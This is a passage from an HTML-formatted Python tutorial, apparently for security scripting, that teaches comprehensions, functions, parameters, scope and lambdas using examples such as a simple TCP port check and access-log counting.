&lt;/span&gt;&lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;check_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="c1"&gt;# With transformation
&lt;/span&gt;&lt;span class="n"&gt;port_strings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;

&lt;span class="c1"&gt;# Dict comprehension
&lt;/span&gt;&lt;span class="n"&gt;port_services&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTPS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;reverse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;port_services&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;  &lt;span class="c1"&gt;# {"SSH": 22, ...}
&lt;/span&gt;
&lt;span class="c1"&gt;# Set comprehension
&lt;/span&gt;&lt;span class="n"&gt;unique_subnets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rsplit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ip_list&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Generator expression — like list comp but lazy (doesn't create full list in memory)
# Use for large datasets
&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;access.log&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;404&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Functions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Defining and Calling Functions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Basic function
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Check if a TCP port is open on a host.

    Args:
        host: Target IP address or hostname
        port: TCP port number to check

    Returns:
        True if port is open, False otherwise
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;settimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect_ex&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;             &lt;span class="c1"&gt;# 0 = success = port open
&lt;/span&gt;    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="c1"&gt;# Call the function
&lt;/span&gt;&lt;span class="n"&gt;is_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_open&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Parameters and Arguments
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Default parameters
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;use_ssl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Connecting to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (timeout=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, ssl=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;use_ssl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# Uses defaults: port=80, timeout=5, ssl=False
&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;            &lt;span class="c1"&gt;# port=443, others default
&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;use_ssl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# Keyword argument — skip positional
&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# All positional
&lt;/span&gt;
&lt;span class="c1"&gt;# *args — variable number of positional arguments
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_ports&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scanning &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;scan_ports&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# **kwargs — variable keyword arguments
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;log_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2026-01-01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;source_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Return multiple values (actually returns a tuple)
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_host_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;resolve_hostname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;scan_all_ports&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;os_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;os_fingerprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;open_ports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os_guess&lt;/span&gt;   &lt;span class="c1"&gt;# Returns tuple
&lt;/span&gt;
&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_host_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Unpack
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Scope
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Local vs Global scope
&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;                            &lt;span class="c1"&gt;# Global variable
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;increment&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;counter&lt;/span&gt;                     &lt;span class="c1"&gt;# Declare we're using the global
&lt;/span&gt;    &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bad_increment&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                       &lt;span class="c1"&gt;# UnboundLocalError — Python thinks counter is local
&lt;/span&gt;
&lt;span class="c1"&gt;# Best practice: avoid global state, pass values as arguments
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;increment_counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                   &lt;span class="c1"&gt;# Pure function — no side effects
&lt;/span&gt;
&lt;span class="n"&gt;counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;increment_counter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Lambda Functions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Lambda — anonymous one-line function
&lt;/span&gt;&lt;span class="n"&gt;square&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;square&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;                       &lt;span class="c1"&gt;# 25
&lt;/span&gt;
&lt;span class="c1"&gt;# Common use: sorting with custom key
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.10&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;sorted_hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ports&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Sorted by number of open ports, descending
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.5 Useful Built-in Functions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Essential built-ins every security scripter must know
&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;                  &lt;span class="c1"&gt;# 3
